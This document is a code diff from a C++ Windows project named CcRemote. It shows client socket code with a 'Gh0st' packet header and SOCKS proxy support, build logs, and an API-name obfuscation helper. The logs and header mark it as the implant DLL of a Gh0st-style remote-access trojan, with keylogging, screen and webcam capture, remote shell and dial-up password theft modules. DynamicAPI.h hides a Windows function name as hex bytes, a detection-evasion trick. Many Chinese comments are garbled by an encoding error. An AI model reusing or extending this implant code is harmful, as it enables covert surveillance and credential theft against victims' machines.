//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
m_Socket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
|
||||
m_WriteBuffer.ClearBuffer();
|
||||
|
||||
if (nSize > 0)
|
||||
{
|
||||
// Compress data
|
||||
unsigned long destLen = (double)nSize * 1.001 + 12;
|
||||
LPBYTE pDest = new BYTE[destLen];
|
||||
|
||||
if (pDest == NULL)
|
||||
return 0;
|
||||
|
||||
int nRet = compress(pDest, &destLen, lpData, nSize);
|
||||
|
||||
if (nRet != Z_OK)
|
||||
{
|
||||
delete[] pDest;
|
||||
return -1;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
LONG nBufLen = destLen + HDR_SIZE;
|
||||
// 5 bytes packet flag
|
||||
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
|
||||
// 4 byte header [Size of Entire Packet]
|
||||
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
|
||||
// 4 byte header [Size of UnCompress Entire Packet]
|
||||
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
|
||||
// Write Data
|
||||
m_WriteBuffer.Write(pDest, destLen);
|
||||
delete[] pDest;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><D9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>Ϊ<EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD><EFBFBD>m_ResendWriteBuffer<65><72><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD>,<2C><><EFBFBD>Բ<EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4>
|
||||
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
|
||||
CopyMemory(lpResendWriteBuffer, lpData, nSize);
|
||||
m_ResendWriteBuffer.ClearBuffer();
|
||||
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (lpResendWriteBuffer)
|
||||
delete[] lpResendWriteBuffer;
|
||||
}
|
||||
else // Ҫ<><D2AA><EFBFBD>ط<EFBFBD>, ֻ<><D6BB><EFBFBD><EFBFBD>FLAG
|
||||
{
|
||||
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
|
||||
m_ResendWriteBuffer.ClearBuffer();
|
||||
m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
|
||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
|
||||
}
|
||||
|
||||
|
||||
int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
|
||||
{
|
||||
int nRet = 0;
|
||||
const char *pbuf = (char *)lpData;
|
||||
int size = 0;
|
||||
int nSend = 0;
|
||||
int nSendRetry = 15;
|
||||
int i = 0;
|
||||
// <20><><EFBFBD>η<EFBFBD><CEB7><EFBFBD>
|
||||
for (size = nSize; size >= nSplitSize; size -= nSplitSize)
|
||||
{
|
||||
for (i = 0; i < nSendRetry; i++)
|
||||
{
|
||||
nRet = send(m_Socket, pbuf, nSplitSize, 0);
|
||||
if (nRet > 0)
|
||||
break;
|
||||
}
|
||||
if (i == nSendRetry)
|
||||
return -1;
|
||||
|
||||
nSend += nRet;
|
||||
pbuf += nSplitSize;
|
||||
Sleep(10); // <20><>Ҫ<EFBFBD><D2AA>Sleep,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB><EFBFBD>
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
|
||||
if (size > 0)
|
||||
{
|
||||
for (i = 0; i < nSendRetry; i++)
|
||||
{
|
||||
nRet = send(m_Socket, (char *)pbuf, size, 0);
|
||||
if (nRet > 0)
|
||||
break;
|
||||
}
|
||||
if (i == nSendRetry)
|
||||
return -1;
|
||||
nSend += nRet;
|
||||
}
|
||||
if (nSend == nSize)
|
||||
return nSend;
|
||||
else
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
void CClientSocket::setManagerCallBack(CManager *pManager)
|
||||
{
|
||||
m_pManager = pManager;
|
||||
}
|
||||
|
||||
void CClientSocket::setGlobalProxyOption(int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
|
||||
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/)
|
||||
{
|
||||
memset(m_strProxyHost, 0, sizeof(m_strProxyHost));
|
||||
memset(m_strUserName, 0, sizeof(m_strUserName));
|
||||
memset(m_strPassWord, 0, sizeof(m_strPassWord));
|
||||
|
||||
m_nProxyType = nProxyType;
|
||||
if (lpszProxyHost != NULL)
|
||||
lstrcpy(m_strProxyHost, lpszProxyHost);
|
||||
|
||||
m_nProxyPort = nProxyPort;
|
||||
if (lpszUserName != NULL)
|
||||
lstrcpy(m_strUserName, lpszUserName);
|
||||
if (lpszPassWord != NULL)
|
||||
lstrcpy(m_strPassWord, lpszPassWord);
|
||||
}
|
||||
114
CcMainDll/CcMainDll/ClientSocket.h
Normal file
114
CcMainDll/CcMainDll/ClientSocket.h
Normal file
@@ -0,0 +1,114 @@
|
||||
// ClientSocket.h: interface for the CClientSocket class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)
|
||||
#define AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
#include <mswsock.h>
|
||||
#include "common/Buffer.h" // Added by ClassView
|
||||
#include "common/Manager.h"
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
// Change at your Own Peril
|
||||
|
||||
// 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
|
||||
#define HDR_SIZE 13
|
||||
#define FLAG_SIZE 5
|
||||
|
||||
enum
|
||||
{
|
||||
PROXY_NONE,
|
||||
PROXY_SOCKS_VER4 = 4,
|
||||
PROXY_SOCKS_VER5
|
||||
};
|
||||
|
||||
struct socks5req1
|
||||
{
|
||||
char Ver;
|
||||
char nMethods;
|
||||
char Methods[2];
|
||||
};
|
||||
|
||||
struct socks5ans1
|
||||
{
|
||||
char Ver;
|
||||
char Method;
|
||||
};
|
||||
|
||||
struct socks5req2
|
||||
{
|
||||
char Ver;
|
||||
char Cmd;
|
||||
char Rsv;
|
||||
char Atyp;
|
||||
unsigned long IPAddr;
|
||||
unsigned short Port;
|
||||
|
||||
// char other[1];
|
||||
};
|
||||
|
||||
struct socks5ans2
|
||||
{
|
||||
char Ver;
|
||||
char Rep;
|
||||
char Rsv;
|
||||
char Atyp;
|
||||
char other[1];
|
||||
};
|
||||
|
||||
struct authreq
|
||||
{
|
||||
char Ver;
|
||||
char Ulen;
|
||||
char NamePass[256];
|
||||
};
|
||||
|
||||
struct authans
|
||||
{
|
||||
char Ver;
|
||||
char Status;
|
||||
};
|
||||
|
||||
class CClientSocket
|
||||
{
|
||||
friend class CManager;
|
||||
public:
|
||||
CBuffer m_CompressionBuffer;
|
||||
CBuffer m_DeCompressionBuffer;
|
||||
CBuffer m_WriteBuffer;
|
||||
CBuffer m_ResendWriteBuffer;
|
||||
void Disconnect();
|
||||
bool Connect(LPCTSTR lpszHost, UINT nPort);
|
||||
int Send(LPBYTE lpData, UINT nSize);
|
||||
void OnRead(LPBYTE lpBuffer, DWORD dwIoSize);
|
||||
void setManagerCallBack(CManager *pManager);
|
||||
void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTR lpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL, LPCSTR lpszPassWord = NULL);
|
||||
void run_event_loop();
|
||||
bool IsRunning();
|
||||
|
||||
HANDLE m_hWorkerThread;
|
||||
SOCKET m_Socket;
|
||||
HANDLE m_hEvent;
|
||||
|
||||
CClientSocket();
|
||||
virtual ~CClientSocket();
|
||||
private:
|
||||
static int m_nProxyType;
|
||||
static char m_strProxyHost[256];
|
||||
static UINT m_nProxyPort;
|
||||
static char m_strUserName[256];
|
||||
static char m_strPassWord[256];
|
||||
|
||||
BYTE m_bPacketFlag[FLAG_SIZE];
|
||||
bool ConnectProxyServer(LPCTSTR lpszHost, UINT nPort);
|
||||
static DWORD WINAPI WorkThread(LPVOID lparam);
|
||||
int SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize);
|
||||
bool m_bIsRunning;
|
||||
CManager *m_pManager; //---<2D>鿴CManager <20><><EFBFBD><EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD>
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)
|
||||
1
CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
Normal file
1
CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
Normal file
@@ -0,0 +1 @@
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
108
CcMainDll/CcMainDll/Debug/CcMainDll.log
Normal file
108
CcMainDll/CcMainDll/Debug/CcMainDll.log
Normal file
@@ -0,0 +1,108 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
pch.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
Audio.cpp
|
||||
g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
ClientSocket.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
until.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
正在生成代码...
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
AudioManager.cpp
|
||||
Dialupass.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
install.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
KernelManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
KeyboardManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
ScreenManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
ScreenSpy.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ShellManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
正在生成代码...
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(168): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
||||
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library
|
||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
29
CcMainDll/CcMainDll/DynamicAPI.h
Normal file
29
CcMainDll/CcMainDll/DynamicAPI.h
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
typedef BOOL (WINAPI *CloseWindowT)(IN HWND hWnd);
|
||||
|
||||
class DynamicAPI
|
||||
{
|
||||
public:
|
||||
CloseWindowT pCloseWindowT;
|
||||
void init_user32(){
|
||||
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
|
||||
}
|
||||
};
|
||||
*/
|
||||
|
||||
typedef BOOL (WINAPI* CloseWindowT)(IN HWND hWnd);
|
||||
|
||||
class DynamicAPI
|
||||
{
|
||||
public:
|
||||
CloseWindowT pCloseWindowT;
|
||||
void init_user32()
|
||||
{
|
||||
//char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77,0};
|
||||
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
|
||||
char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0};
|
||||
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
|
||||
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
|
||||
}
|
||||
|
||||
};
|
||||
1
CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
Normal file
1
CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
Normal file
@@ -0,0 +1 @@
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
108
CcMainDll/CcMainDll/Release/CcMainDll.log
Normal file
108
CcMainDll/CcMainDll/Release/CcMainDll.log
Normal file
@@ -0,0 +1,108 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
pch.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
Audio.cpp
|
||||
g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
ClientSocket.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
KeyboardManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
until.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
AudioManager.cpp
|
||||
Dialupass.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
